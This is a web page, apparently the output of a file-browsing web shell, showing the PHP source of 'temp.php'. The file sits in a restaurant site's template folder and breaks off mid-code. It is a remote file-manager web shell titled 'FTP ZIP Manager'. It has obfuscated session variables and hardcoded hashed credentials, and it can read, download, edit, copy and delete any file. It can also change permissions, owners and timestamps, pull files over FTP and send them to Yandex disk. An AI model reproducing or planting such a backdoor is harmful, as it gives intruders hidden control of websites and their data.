Your IP : 216.73.216.218


Current Path : /proc/thread-self/root/home/antonen/chenglong.lt/templates/resto_6/
Upload File :
Current File : //proc/thread-self/root/home/antonen/chenglong.lt/templates/resto_6/temp.php

<?php
ini_set('display_errors','Off');
session_start();
if(isset($_POST['action'])) $action = $_POST['action'];
else $action = "";
if (file_exists('ppswd.php')) include 'ppswd.php';
//savepass
 $reg_user = 'c028855265b688daa65a98e28682f428'; $reg_pass = '6c8345835daa9320bcc55b76ba5d83de';
$savedpass = "Remove Password";
//savepass
if(isset($_SESSION['a18'])) $GLOBALS['a10'] =  $_SESSION['a18'] ^ str_pad('', strlen($_SESSION['a18']), $reg_user);
if($action == "chpass"):
  if(isset($savedpass)) $savedpass = "Save Password";
  else $savedpass = "Remove Password";
endif;
if(!isset($savedpass)) $savedpass = "Save Password";
if(!isset($_SESSION['a1'])):
  $_SESSION['a2'] = "";
  $_SESSION['a1'] = "";
  $_SESSION['a3'] = "";
endif;
if(!isset($_SESSION['charset'])):
  $_SESSION['charset'] = "utf-8";
endif;
if(!isset($_SESSION['chlist'])):
  $_SESSION['chlist'] = ".chmod";
endif;
// AJAX
if(isset($_POST['progress']) || isset($_GET['progress'])):
if ($_SESSION['cs0'] == $_SESSION['a5']."=".$_SESSION['a6']):
if(isset($_GET['progress']) && $_GET['progress'] == "dwl"):
  $file = urldecode($_GET['dir']).'/'.urldecode($_GET['file']);
  header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.$_GET['name']);
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: '.filesize($file));
    readfile($file);
    exit;
endif;
if(isset($_POST['dc'])):
  $ds = array('path'=>urldecode($_POST['dc']),'s'=>0,'d'=>0,'f'=>0);
  $dsa = getDirSize($ds);
  die(convertsize($dsa['s']).'&'.$dsa['d'].'&'.$dsa['f']);
endif;
if(isset($_POST['chlist'])):
  $_SESSION['chlist'] = $_POST['chlist'];
  die();
endif;
if(isset($_POST['fclip'])):
  $_SESSION['a7']['file'] = urldecode($_POST['fclip']);
  $_SESSION['a7']['name'] = $_POST['progress'];
  die('1');
endif;
if(isset($_POST['charset'])):
  $_SESSION['charset'] = $_POST['charset'];
endif;
if(isset($_POST['testupload'])):
  $a4cr = urldecode($_POST['progress']).'/'.mb_convert_encoding($_POST['testupload'],$_SESSION['charset'],"UTF-8");
  $_SESSION['a4'] = $a4cr ^ str_pad('', strlen($a4cr), $reg_user);
  if (file_exists($a4cr)) die('1');
  else die('0');
endif;
if(isset($_POST['getedit'])):
  $uncedit = file_get_contents($_POST['getedit']);
  die(convname($uncedit));
endif;
if($_POST['progress'] == 'yachange'):
  $_SESSION['a2'] = $_POST['yafolder'];
  $_SESSION['a1'] = $_POST['yalogin'] ^ str_pad( '', strlen($_POST['yalogin']), $reg_user);
  $_SESSION['a3'] = $_POST['yapass'] ^ str_pad( '', strlen($_POST['yapass']), $reg_user);
  die('1');
endif;
  // START
    if($_POST['progress'] == 'start'):
    $_POST['remotep'] = urldecode($_POST['remotep']);
    if(@!$connect = ftp_connect($_SESSION['a8'])) {
    ftp_close($connect);
    echo 'ERROR! Connection Failed on START!';
    exit;
    }
    if (!ftp_login($connect,$_SESSION['a9'],$GLOBALS['a10'])) {
    ftp_close($connect);
    echo 'ERROR! FTP login failed while folders Search process.';
    exit;
    }
    ftp_pasv($connect, true);
    $GLOBALS['trc'] = $_POST['trc'];
    if($GLOBALS['trc'] == 0 && isset($_SESSION['foldrers'])):
    unset($_SESSION['foldrers']);
    endif;
    if($GLOBALS['trc'] == 0 && isset($_SESSION['tree_array'])):
    unset($_SESSION['tree_array']);
    endif;
    if(!isset($_SESSION['foldrers'])):
    $_SESSION['foldrers'] = array();
    $_SESSION['tree_array'] = array();
    endif;
    $GLOBALS['foc'] = -1;
    $ftp_fold = $_POST['remotep'];
    $startfc = microtime(true);
    if(folder_tree($connect, $ftp_fold, $startfc) == true) {
      ftp_close($connect);
      echo $GLOBALS['trc'];
      unset($_SESSION['foldrers']);
      exit;
    } else {
      ftp_close($connect);
      unset($_SESSION['tree_array']);
      unset($_SESSION['foldrers']);
      echo 'ERROR! Disconnected while folders Search process. Connection Failed!';
      exit;
    }
    endif;
    // END START
    // GET Files
    if($_POST['progress'] == 'files'):
    $_POST['localp'] = urldecode($_POST['localp']);
    if(!isset($_SESSION['disconnect'])):
    $_SESSION['disconnect'] = 0;
    endif;
    $starttc = microtime(true);
    $fti = $_POST['point'];
    if(@!$connect = ftp_connect($_SESSION['a8'])) {
    if($_SESSION['disconnect'] > 10) {
    unset($_SESSION['tree_array']);
    ftp_close($connect);
    echo 'Connection Failed! On start get files.';
    exit;
       } else {
        reset_connect($fti);
       }
    }
    if (!ftp_login($connect,$_SESSION['a9'],$GLOBALS['a10'])) {
    if($_SESSION['disconnect'] > 10) {
    unset($_SESSION['tree_array']);
    ftp_close($connect);
    echo 'FTP login Failed! On start get files.';
    exit;
       } else {
        reset_connect($fti);
       }
    }
        ftp_pasv($connect, true);
        $old_direction = getcwd();
        $ftlen = count($_SESSION['tree_array']);
        $prmax = 10+100*$fti/$ftlen;
        for($fti; $fti < $ftlen; $fti++){
        $middle = explode($_POST['remotep'],$_SESSION['tree_array'][$fti]['path']);
        $middle = explode('/',$middle[1]);
          if($_SESSION['tree_array'][$fti]['type'] == 'file') {
            $filename = array_pop($middle);
            $middle = implode('/',$middle);
            if ( !(chdir($_POST['localp'].$middle)) ) {
               unset($_SESSION['tree_array']);
               chdir($old_direction);
               ftp_close($connect);
               echo 'Wrong path to file! Progress Failed!';
               exit;
               }
      if (!file_exists($filename)) {
        if ( @!ftp_chdir($connect, $_POST['remotep'].$middle) ) {
             if($_SESSION['disconnect'] > 10) {
               unset($_SESSION['tree_array']);
               chdir($old_direction);
               ftp_close($connect);
               echo 'Connection Failed while change FTP Dir!';
               exit;
                   } else {
                   chdir($old_direction);
                   reset_connect($fti);
                   }
               }
       if ( @!ftp_get( $connect, $filename, $filename, FTP_BINARY )) {
             if($_SESSION['disconnect'] > 10) {
               unset($_SESSION['tree_array']);
               chdir($old_direction);
               ftp_close($connect);
               echo 'Connection Failed while getting file '.convname($filename).' in path '.convname($_POST['remotep'].$middle).' !';
               exit;
                   } else {
                   chdir($old_direction);
                   reset_connect($fti);
                   }
               }
            }
          } else {
             chdir($old_direction);
             unset($middle[0]);
             $implpath = array();
             foreach($middle as $impl => $implval) {
             $implpath[] = $implval;
             $makedir = $_POST['localp'].'/'.implode('/',$implpath);
             if(!is_dir($makedir)) mkdir($makedir, 0700);
             }
          }
          if($prmax < 100*$fti/$ftlen && $fti < $ftlen):
              $fti++;
              unset($_SESSION['disconnect']);
              ftp_close($connect);
              echo $fti;
              exit;
          endif;
          $timetc = microtime(true) - $starttc;
          if($timetc > 20):
              $fti++;
              unset($_SESSION['disconnect']);
              ftp_close($connect);
              echo $fti;
              exit;
          endif;
        }
        unset($_SESSION['tree_array']);
        unset($_SESSION['disconnect']);
        chdir($old_direction);
        ftp_close($connect);
        echo 'done';
        exit;
    endif;
    // FND GET Files
endif;
endif;
// End AJAX
?>
<!DOCTYPE html>
<html>
<head>
<title>FTP ZIP Manager</title>
<meta charset="utf-8">
<link href="https://fonts.googleapis.com/css?family=Fira+Sans:400,700" rel="stylesheet">
<style type="text/css">@keyframes spin{100%{transform:rotate(360deg)}}.spinner{width:30px;height:30px;border:6px solid #7e7;border-left-color:#aaa;border-right-color:#aae;border-top-color:#eaa;border-radius:100%;animation:spin 1000ms infinite linear;margin:auto}body{font-family:'Fira sans',Tahoma,Sans-serif;background-color:#0cb}.nocolor{color:#0cb}.copy-w{color:#fff;font-size:24px;position:relative;top:5px}.too_chmod{text-align:right;width:50%;margin:auto}.too_chmod > div input{margin-top:0}#chmod_hide{display:none}.inpsmall,.inptouch{max-width:34px;font-size:14px;margin:10px 0}.inptouch{max-width:138px}.cdiv{text-align:center}#modres a{color:#999;padding:1px 8px;display:inline-block;text-decoration:none;font-weight:700;border:1px solid #fff}#modres .attent{color:#c33}#modres a:hover{color:#e00;background:#ccc;border:1px solid #a00}.modfile{color:#08d;font-size:24px;padding:10px 0}.filelist form input{margin:15px 2px 0}#yaform > input{margin-bottom:8px;margin-bottom:8px}#yaform > input:first-child{margin-top:8px}#modres{text-align:center;font-family:Arial,Sans-serif}#modres > p:first-child{font-weight:700;margin:0}.modal-blocks{display:none}#modal_form #modal_close:before{content:"\2716"}#modal_form{min-width:200px;border-radius:5px;border:3px #c08 solid;background:#fff;position:absolute;top:10%;left:50%;display:none;opacity:0;-moz-opacity:0;filter:alpha(opacity=0);z-index:5;padding:20px 10px}#modal_form #modal_close{width:20px;height:10px;position:absolute;top:10px;right:10px;cursor:pointer;display:block}#overlay,#above{z-index:3;position:fixed;background-color:#000;opacity:.6;-moz-opacity:.6;filter:alpha(opacity=60);width:100%;height:100%;top:0;left:0;cursor:pointer;display:none}#above{z-index:4;cursor:default}.clear{clear:both}a,a:link,a:visited,a:focus{text-decoration:none;color:#05d}a:hover{text-decoration:underline;color:#c33}input{border:2px solid #ccc;padding:3px 6px;max-width:80%}.delete-link,.delete-link:focus,.white-get,.white-get:focus,.white-folder,.white-folder:focus,.white_sp{color:#fff!important;font-weight:700;white-space:nowrap}.white_sp{white-space:nowrap}.delete-link:hover{color:#000!important}.white-get:hover,.white-folder:hover{color:#c33!important}.big-zip{background:#7cffcc;border:1px solid #069;padding:0 10px 10px;color:#000}.big-zip tr:hover{background:#558 none repeat scroll 0 0;color:#fff;cursor:default}.big-zip td{border-bottom:1px solid #fff;font-family:Verdana,Sans-serif;font-size:16px;font-weight:700;padding:4px 6px}.butsend,.create{color:#000;font-size:1.5em;padding:4px 8px;background-color:#00a9ff;border:2px solid #069;border-radius:4px;outline:none;cursor:pointer}.butsend:hover,.create:hover{color:#505;background-color:#7cffcc}.create{font-size:18px;padding:2px 4px}.dirlist{float:left;margin:10px 0;padding:0 15% 0 1%}.filelist{float:left;margin:10px 0;text-align:left;max-width:50vw}.font16{font-size:16px}.filedirtitle{margin:5px 10px 20px;padding:5px 20px;background-color:#7CFFCC;border:1px #069 solid;text-align:center}.bigblock{max-width:940px;padding:5px;margin:auto}.contents,.unzip{border:1px solid #fff;display:table;font-size:14px;padding:1vw;text-align:left;min-width:100%;box-sizing:border-box}.unzip{box-shadow:0 0 20px #f88;padding:20px;text-align:left;width:90%;background:#0dc;margin-bottom:20px}.heads{background-color:#0cb;border:3px dashed #49a;clear:left;color:#333;font-size:20px;margin:1vw;padding:1vw;text-align:center}.logout{font-size:16px}.create-input{font-size:14px;font-weight:700;padding:2px 8px;max-width:170px}.moovf{color:#047;font-size:1.5em;margin-left:1em}input:focus{background-color:#ffa;border:2px solid #c0c;outline:none}.mfinput{color:#678;font-size:20px}.redsp,.modopen{color:#c33;font-weight:700;padding:0 2px;white-space:nowrap}.pdd-all{padding:1%}#resscr{display:none}.progress{border:2px solid #ff0;float:left;width:55%;background:#bbb}.pr-inside{background:#64e;height:23px;width:0}.tablo{text-align:center;font-size:20px;color:#fff}.mfbig{min-width:70%}.mfmidd{min-width:38%}.logform{font-size:14px;min-width:200px}.urls{font-size:20px;padding:10px 5px 10px 64px;text-align:center;position:relative}.filelist form input[type="file"]{border:none;font-weight:700;max-width:178px;z-index:2;opacity:0;cursor:pointer;margin-bottom:2px}.filelist form > div{position:relative}.filename{position:absolute;top:35%;left:2px;font-size:20px;text-align:center;width:178px;overflow:hidden;padding:0 4px;background:#fff;border:2px solid #ccc}.chmod,.mtime,.fmtime,.gowner,.fgowner,.gs{color:#c33!important;font-size:15px;letter-spacing:1px;font-weight:400}.mtime,.fmtime,.gowner,.fgowner,.gs{letter-spacing:normal}.chmod:hover,.mtime:hover,.fmtime:hover,.gowner:hover,.fgowner:hover,.gs:hover{color:#fed!important;text-decoration:none}.black_sp{font-size:16px;color:#000}.edit_file{margin-bottom:10px}.edit_file textarea{width:80vw;height:55vh;resize:none;border:2px solid #c99;padding:4px 8px;background:#448;color:#fff;font-size:16px}.butsend:focus,.create:focus{color:#000;background-color:#00a9ff;border:2px solid #069}.right-form{margin-left:30px;display:inline-block;font-weight:700;font-size:16px;color:#5f5f69}.right-form form{display:inherit}.dirs-eq,.files-eq{display:inline-flex;border-bottom:1px dashed #fff;padding:2px 1px 1px}.dirs-eq a,.files-eq a,.white_sp{white-space:nowrap}.fclip{border:3px #e00 solid;border-radius:5px;padding:0 8px;display:table;background:#ffd;position:fixed;bottom:4px;left:60%;font-size:14px}.pfclip{display:inline-block;margin-left:50px}.fclip input,.pfclip input{font-size:16px;margin:8px 0}.addsel{display:none}.chmod{display:inline-flex}#chopt{margin:0 50px 10px 40px}.grey_sp{font-weight:700;font-size:16px;color:#5f5f69}.fgs,.ctime{color:#068;padding-left:2px;white-space:nowrap}.home-a div{position:relative;height:16px;width:8px;border:14px solid #e39;border-bottom:none}.home-a div:before{content:"";position:absolute;top:-30px;right:-26px;border-style:solid;border-width:0 30px 20px;border-color:rgba(0,0,0,0) rgba(0,0,0,0) #e39}.home-a div:after{content:"";position:absolute;top:-30px;left:13px;height:10px;border:4px solid #e39}.home-a{text-decoration:none!important;position:absolute;left:20px;top:25px}.out{font-size:18px;color:#487;line-height:28px}</style>
<?php $docname = basename(getenv('script_name')); ?>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<script type="text/javascript">$(document).ready(function(){eqwidth('.dirs-eq');eqwidth('.files-eq');eqwidth('.chmod');$('.chmod').attr('width.chmod',$('.chmod').width());var sesslist='<?php echo $_SESSION['chlist'] ?>';if(sesslist!=".chmod"){$('#chopt').val(sesslist);showsel(sesslist)}window.ermsg='error: Test your Internet connection. Connection failed.';if(typeof(reload_get)=="function"){reload_get()}$('#chopt').on('change',function(){showsel($(this).val());$.ajax({type:"POST",url:"<?php echo $docname; ?>",data:"progress=chlist&chlist="+$(this).val(),success:function(result){},error:function(jqxhr,status,errorMsg){if(errorMsg=='')alert(window.ermsg);else alert(status+': '+errorMsg)}})});$('.getjs').on('click',function(event){event.preventDefault();submitGet($(this).attr('data'))});$('.modopen').click(function(event){event.preventDefault();$('#overlay').fadeIn(400,function(){$('#modal_form').css('display','block').animate({opacity:1,top:whqget()},200)});if($(this).attr('file')){$('#modres').html('');$('#modres').append('<p>Options:</p>');$('#modres').append('<div class="modfile">'+$(this).attr('origname')+'</div>');var data="'dir="+$(this).attr('dir')+"#.d/s.#file="+$(this).attr('file')+"#.d/s.#origname="+$(this).attr('origname')+"#.d/s.#action=disk'";$('#modres').append('<a href="javascript:void(0);" onClick="submitGet('+data+');">[ Save to Yandex disk ]</a><br />');var remove="'dir="+$(this).attr('dir')+"#.d/s.#filetodel="+$(this).attr('file')+"#.d/s.#origname="+$(this).attr('origname')+"#.d/s.#action=deletef','"+$(this).attr('origname')+"'";$('#modres').append('<a class="attent" href="javascript:void(0);" onClick="submitGetAlert('+remove+');">[ REMOVE ]</a><br />');$('#modres').append('<a target="_blank" href="<?php echo $_SERVER["PHP_SELF"]; ?>?dir='+$(this).attr('dir')+'&file='+$(this).attr('file')+'&name='+$(this).attr('origname')+'&progress=dwl" onClick="submitDwl();">[ Download ]</a><br />');var edit="'"+$(this).attr('dir')+"/"+$(this).attr('file')+"','"+$(this).attr('origname')+"','"+$(this).attr('dir')+"'";$('#modres').append('<a href="javascript:void(0);" onClick="renameFile('+edit+');">[ RENAME ]</a><br />');
<?php
if(isset($_POST['fpaste']) || isset($_POST['mfpaste'])):
$upd = urldecode($_POST['dir']); $new_cfile = $upd.'/'.mb_convert_encoding($_POST['cname'],$_SESSION['charset'],"UTF-8"); if(file_exists($new_cfile) || is_dir($new_cfile) || $upd == $_SESSION['a7']['file']) $taskdelete = '<span class="redsp">Copy failed!</span> Copied: <span class="white_sp">'.$_POST['cname'].'</span> already exists here, with the same name.'; else { if(isset($_POST['fpaste'])):
if(afull_copy($_SESSION['a7']['file'],$new_cfile)) $taskdelete = 'Copied <span class="white_sp">'.$_POST['cname'].'.</span>'; else $taskdelete = '<span class="redsp">Copy failed!</span> <span class="white_sp">'.$_POST['cname'].'</span> Perhaps copied has been removed.'; unset($_SESSION['a7']); endif; if(isset($_POST['mfpaste'])):
if(rename($_SESSION['a7']['file'],$new_cfile)) $taskdelete = 'Copied <span class="white_sp">'.$_POST['cname'].'</span> moved.'; else $taskdelete = '<span class="redsp">Moov failed!</span> <span class="white_sp">'.$_POST['cname'].'</span> Perhaps copied has been removed.'; unset($_SESSION['a7']); endif;}
endif; if(isset($_SESSION['a7']) && !file_exists($_SESSION['a7']['file'])) unset($_SESSION['a7']); if(!isset($_SESSION['a7'])): ?>
if(!window.fclip) { $('#modres').append('<a href="javascript:void(0);" onClick="copyFile('+edit+');">[ COPY ]</a><br />');}
<?php endif; ?>
$('#modres').append('<a href="javascript:void(0);" onClick="editFile('+edit+');">[ EDIT ]</a>');} else { if($(this).attr('id')) { var block = "#"+$(this).attr('id')+"-block"; $('#modres').html($(block).html());} else { if($(this).attr('chmod')) { $('#modres').html(''); $('#modres').append('<p>Chmod settings:</p>'); if($(this).attr('name')) { $('#modres').append('<div class="modfile">'+$(this).attr('name')+'</div><form action="<?php echo $docname ?>" method="POST"><input type="text" class="inpsmall" name="perms" value="'+$(this).attr('perms')+'" /><input type="hidden" name="dir" value="'+$(this).attr('dir')+'" /><input type="hidden" name="chmod" value="'+$(this).attr('chmod')+'" /><br /><input class="create" value="Change" type="submit" /></form>');}
if($(this).attr('dirname')) { $('#modres').append('<div class="modfile">'+$(this).attr('origdir')+'</div><form action="<?php echo $docname ?>" method="POST"><input type="checkbox" onChange="addChmod(this);" /> <span class="redsp">All Dirs and Files</span><br /><div class="too_chmod">Dir: <input type="text" class="inpsmall" name="perms" value="'+$(this).attr('perms')+'" /><div id="chmod_hide"></div></div><input type="hidden" name="dir" value="'+$(this).attr('chmod')+'" /><input type="hidden" name="chmod" value="'+$(this).attr('chmod')+'/'+$(this).attr('dirname')+'" /><input class="create" value="Change" type="submit" /></form>');}
}
if($(this).attr('touch')) { $('#modres').html(''); $('#modres').append('<p>Touch:</p>'); if($(this).attr('name')) { $('#modres').append('<div class="modfile">'+$(this).attr('name')+'</div><form action="<?php echo $docname ?>" method="POST"><input type="text" class="inptouch" name="time" value="'+$(this).attr('mtime')+'" /><input type="hidden" name="dir" value="'+$(this).attr('dir')+'" /><input type="hidden" name="touch" value="'+$(this).attr('touch')+'" /><br /><input class="create" value="Change" type="submit" /></form>');}
if($(this).attr('dirname')) { $('#modres').append('<div class="modfile">'+$(this).attr('origdir')+'</div><form action="<?php echo $docname ?>" method="POST"><input type="checkbox" name="alltouch" /> <span class="redsp">All Dirs and Files</span><br /><input type="text" class="inptouch" name="time" value="'+$(this).attr('mtime')+'" /><input type="hidden" name="dir" value="'+$(this).attr('touch')+'" /><input type="hidden" name="touch" value="'+$(this).attr('touch')+'/'+$(this).attr('dirname')+'" ><br /><input class="create" value="Change" type="submit" /></form>');}
}
if($(this).attr('gowner')) { $('#modres').html(''); $('#modres').append('<p>Owner/Group:</p>'); if($(this).attr('name')) { $('#modres').append('<div class="modfile">'+$(this).attr('name')+'</div><p>'+$(this).attr('group')+'</p><form action="<?php echo $docname ?>" method="POST"><input type="text" class="inptouch" name="group" value="'+$(this).attr('owner')+'" /><input type="hidden" name="dir" value="'+$(this).attr('dir')+'" /><input type="hidden" name="gowner" value="'+$(this).attr('gowner')+'" /><br /><input class="create" value="Change" type="submit" /></form>');}
if($(this).attr('dirname')) { $('#modres').append('<div class="modfile">'+$(this).attr('origdir')+'</div><p>'+$(this).attr('group')+'</p><form action="<?php echo $docname ?>" method="POST"><input type="text" class="inptouch" name="group" value="'+$(this).attr('owner')+'" /><input type="hidden" name="dir" value="'+$(this).attr('gowner')+'" /><input type="hidden" name="gowner" value="'+$(this).attr('gowner')+'/'+$(this).attr('dirname')+'" ><br /><input class="create" value="Change" type="submit" /></form>');}
}
if($(this).attr('gs')) { $('#modres').html(''); $('#modres').append('<p>Dir size:</p>'); $('#modres').append('<div class="modfile">'+$(this).attr('gs')+'</div>'); $('#modres').append('<div class="spinner"></div>'); $.ajax({ type:"POST", url:"<?php echo $docname; ?>", data:"progress=gs&dc="+$(this).attr('dir'), success:function(result){ $('.spinner').remove(); var answer = result.split('&'); $('#modres').append('<p class="out">Total size: <span class="redsp">'+answer[0]+'</span><br />Files: <span class="redsp">'+answer[2]+'</span><br />Dirs: <span class="redsp">'+answer[1]+'</span></p>');}, error: function(jqxhr, status, errorMsg) { if(errorMsg == '') alert(window.ermsg); else alert(status + ': ' + errorMsg);}
});}
}
}
MFwidth();}); $('#modal_close, #overlay').click( function(){ $('#above').fadeOut(400); $('#modal_form')
.animate({opacity: 0, top: whqget()}, 200, function(){ $(this).css('display', 'none'); $('#overlay').fadeOut(400);} );}); $('.delete-link').on('click',function(event){ event.preventDefault(); var elementClick = $(this).attr('title'); if(confirm('Are you shure? '+elementClick) != false) submitGet($(this).attr('data'));}); $('#form-copy').on('click',function(event){ if($('#src').val() == ""){ event.preventDefault(); alert('File source is not entered, please fill in this field!');}
}); $('#form-ftp').on('click',function(event){ if($('#ftp-host').val() == "" || $('#ftp-user').val() == "" || $('#ftp-pass').val() == ""){ event.preventDefault(); alert('All fields are required, please fill them!');}
}); $('.white-folder').on('click',function(event){ event.preventDefault(); window.localp = $(this).attr('localp'); window.remotep = $(this).attr('remotep'); window.reload = $(this).attr('reload'); $('#resscr').fadeIn(); start_get_folders(0);});}); function start_get_folders(trc) { $.ajax({ type: "POST", url:"<?php echo $docname; ?>", data:"localp="+window.localp+"&remotep="+window.remotep+"&progress=start&trc="+trc, success:function(result){ if($.isNumeric(result) == true){ window.allarr = result; start_get_files(0);} else { var foldcount = result.split('all')[1]; if($.isNumeric(foldcount) == true) { $('.tablo').html('Found files quantity: '+foldcount); start_get_folders(foldcount);} else { $('#resscr').fadeOut(); alert(result);}
}
}, error: function(jqxhr, status, errorMsg) { $('.tablo').html('Progress Failed'); if(errorMsg == '') alert(window.ermsg); else alert(status + ': ' + errorMsg);}
});}
function start_get_files(point) { $.ajax({ type: "POST", url:"<?php echo $docname; ?>", data:"localp="+window.localp+"&point="+point+"&remotep="+window.remotep+"&progress=files", success:function(result){ if(result == 'done'){ $('.pr-inside').css('width',100+'%'); $('.tablo').html('Progress: '+100+'%'); sleep(1500); submitGet('dir='+window.localp);} else { if($.isNumeric(result) == true) { $('.pr-inside').css('width', Math.round(100*result/window.allarr)+'%'); $('.tablo').html('Progress: '+Math.round(100*result/window.allarr)+'%'); start_get_files(result);} else { alert(result); $('.tablo').html('Progress Failed');}
}
}, error: function(jqxhr, status, errorMsg) { $('.tablo').html('Progress Failed'); if(errorMsg == '') alert(window.ermsg); else alert(status + ': ' + errorMsg);}
});}
function yachange(){ $('#yaform').css('visibility','hidden'); $('#yaform').append('<div class="spinner"></div>'); $.ajax({ type: "POST", url:"<?php echo $docname; ?>", data:$('#yaform').serialize(), success:function(result){ $('.spinner').remove(); $('#ym-saved').html('<span class="redsp">Settings saved!</span>')
$('#yaform').css('visibility','visible');}, error: function(jqxhr, status, errorMsg) { $('.tablo').html('Progress Failed'); if(errorMsg == '') alert(window.ermsg); else alert(status + ': ' + errorMsg);}
}); return false;}
function setFile(str){if(str.lastIndexOf('\\')){var i=str.lastIndexOf('\\')+1}else{var i=str.lastIndexOf('/')+1}var filename=str.slice(i);$('.filename').html(filename);$('.filename').css({'background-color':'#ffffaa','border':'2px solid #c0c'})}function submitGet(data){var getarr=data.split('#.d/s.#');for(var i=0,k=getarr.length;i<k;i++){var pair=getarr[i].split('=');$('#gp-div').append('<input type="hidden" name="'+pair[0]+'" value="'+pair[1]+'" />')}$('#gp-form').submit()}function submitGetAlert(data,file){if(confirm('Are you shure? Remove '+file)!=false)submitGet(data)}function sleep(ms){ms+=new Date().getTime();while(new Date()<ms){}}function addChmod(value){if(value.checked){$('#chmod_hide').append('File: <input type="text" class="inpsmall" name="fperms" value="0644" />');$('#chmod_hide').css('display','block')}else{$('#chmod_hide').html('');$('#chmod_hide').css('display','none')}}function test_upload(type){var params={'upload':'input[type="file"]','testedit':'#edname','testrename':'#rnname'};var file=$(params[type]);var fileval=file.val();if($('#rnbefore').html()==fileval)return true;if(fileval==''){alert('Filename is EMPETY!!!');return false}var testupload='progress='+file.next().val()+'&testupload='+fileval;$.ajax({type:"POST",async:false,url:"<?php echo $docname; ?>",data:testupload,success:function(result){if(result==1){if(confirm(' This - '+fileval+' - already exists!!!\nDo You want to replace it?')!=false)window.upload=true}else window.upload=true},error:function(jqxhr,status,errorMsg){if(errorMsg=='')alert(window.ermsg);else alert(status+': '+errorMsg)}});if(window.upload)return true;else return false}function MFwidth(){$('#modal_form').css('margin-left','-'+Math.round(12+$('#modal_form').width()/2)+'px')}function editFile(file,name,dir){$('#modres').html('');$('#above').fadeIn(400);var testedit="'testedit'";$('#modres').append('<p class="modfile"><span class="black_sp">Edit file: </span><span id="rnbefore">'+name+'</span></p><form method="POST" action="<?php echo $docname; ?>" onsubmit="return test_upload('+testedit+');"><div class="edit_file"><textarea spellcheck="false" name="editt"></textarea></div><input type="hidden" name="editc" value="'+file+'" /><input type="hidden" name="editres" value="'+name+'" /><input id="edname" type="text" name="editf" value="'+name+'" /><input type="hidden" name="dir" value="'+dir+'" />  <input class="create" type="submit" value="Save" /></form>');MFwidth();$('#modal_form').css('top',whqget());$('.edit_file').append('<div class="spinner"></div>');$.ajax({type:"POST",url:"<?php echo $docname; ?>",data:"progress=getedit&getedit="+file,success:function(result){$('.spinner').remove();$('.edit_file textarea').val(result)},error:function(jqxhr,status,errorMsg){if(errorMsg=='')alert(window.ermsg);else alert(status+': '+errorMsg)}})}function renameFile(file,name,dir){$('#prename').remove();$('#modres').html('');var testrename="'testrename'";$('#modres').append('<p class="modfile"><span class="black_sp">Rename file: </span><span id="rnbefore">'+name+'</span></p><form method="POST" action="<?php echo $docname; ?>" onsubmit="return test_upload('+testrename+');"><input type="hidden" name="editc" value="'+file+'" /><input id="rnname" type="text" name="editf" value="'+name+'" /><input type="hidden" name="dir" value="'+dir+'" /><br /><br /><input class="create" type="submit" name="rename" value="Rename" /></form>');MFwidth();$('#modal_form').css('top',whqget())}function copyFile(file,name,dir){$('#modal_form').fadeOut();$('#overlay').fadeOut(400);window.fclip=1;$.ajax({type:"POST",url:"<?php echo $docname; ?>",data:"progress="+name+"&fclip="+file,success:function(result){$('body').append('<div class="fclip"><form method="POST" action="<?php echo $docname; ?>">Copied: <span class="redsp">'+name+'</span><input type="hidden" name="cname" value="'+name+'" /><input type="hidden" name="dir" value="'+dir+'" />  <input class="create" type="submit" name="fpaste" value="Paste" /> <input class="create" type="submit" name="mfpaste" value="Moov" /></form></div>')},error:function(jqxhr,status,errorMsg){if(errorMsg=='')alert(window.ermsg);else alert(status+': '+errorMsg)}})}function eqwidth(elem){var widths=[];$(elem).each(function(){widths.push($(this).width())});$(elem).width(Math.max.apply(null,widths))}function showsel(elem){var styles=elem.split('/');$('.addsel').css('display','none');var i,len;for(i=0,len=styles.length;i<len;++i){$(styles[i]).css('display','inline-block');var width=Math.round($(styles[i]).width()+8)+'px';var swide='width'+styles[i];if(!$(styles[i]).attr(swide)){eqwidth(styles[i]);$(styles[i]).attr(swide,width)}else $(styles[i]).width($(styles[i]).attr(swide))}}function submitDwl(){$('#modal_form').fadeOut();$('#overlay').fadeOut(400)}function whqget(){var whq=0;var wst=$(window).scrollTop()-$(window).height();while(wst>0){wst=wst-$(window).height();whq++}return Math.round(100*whq*$(window).height()/$(window).height()+10+100*Math.round($(window).scrollTop()-whq*$(window).height())/$(window).height())+'%'}</script>
</head>
<body>
<div class="heads">
    <div>FTP ZIP Manager
<?php
if(isset($_POST['adm_user'])) $adm_user = $_POST['adm_user'];
else $adm_user = "";
if(isset($_POST['adm_pass'])) $adm_pass = $_POST['adm_pass'];
else $adm_pass = "";
if(isset($_POST['adm_pass_conf'])) $adm_pass_conf = $_POST['adm_pass_conf'];
else $adm_pass_conf = "";
if (!isset($reg_user) && !isset($reg_pass)) {
//REGISTRATION
echo "</div>";
if (isset($_POST['reg'])) {
   if ($adm_user == '' || $adm_pass == '' || $adm_pass_conf == '') {$err = '<span class="redsp">At least one of the fields is empty!</span><br />';}
   if ($adm_pass != $adm_pass_conf) {$err .= '<span class="redsp">Passwords do not match!</span>';}
   if (!isset($err)) {
   $fn = fopen('ppswd.php','w');
   fputs($fn, '<?php $reg_user = '."'".md5($adm_user)."'".'; $reg_pass = '."'".md5($adm_pass)."'"."; ?>\n");
   fclose($fn);
   die ("Registration succeeded!<br /><a href='$docname'>You can login now.</a>");
   }
}
if (!isset($_POST['reg']) || isset($err)) {
echo "</div>";
if (isset($err)) echo 'Error: '.$err.'<br />';
?>
Please, register first (for your own security!)
        <form method="POST" action="<?php echo $docname; ?>">
        <table border="0">
      <tr>
        <td>Username</td>
        <td><input class="logform" type="text" name="adm_user" /></td>
      </tr>
      <tr>
        <td>Password : </td>
        <td><input class="logform" type="password" name="adm_pass" /></td>
      </tr>
      <tr>
        <td>Confirm password : </td>
        <td><input class="logform" type="password" name="adm_pass_conf" /></td>
      </tr>
         </table>
         <input class="create" type="submit" value="Register" name="reg" />
         </form></body></html>
        <?php
        die('');
        }
}
$expired = false;
if(!isset($_SESSION['cs0'])) $expired = true;
elseif ($_SESSION['cs0'] != $_SESSION['a5']."=".$_SESSION['a6']) $expired = true;

if ($action == "logout"){
$_SESSION['cs0'] = rand(100,9000000);
$_SESSION['a12'] = rand(100,9000000);
$_SESSION['a11'] = "Logged out";
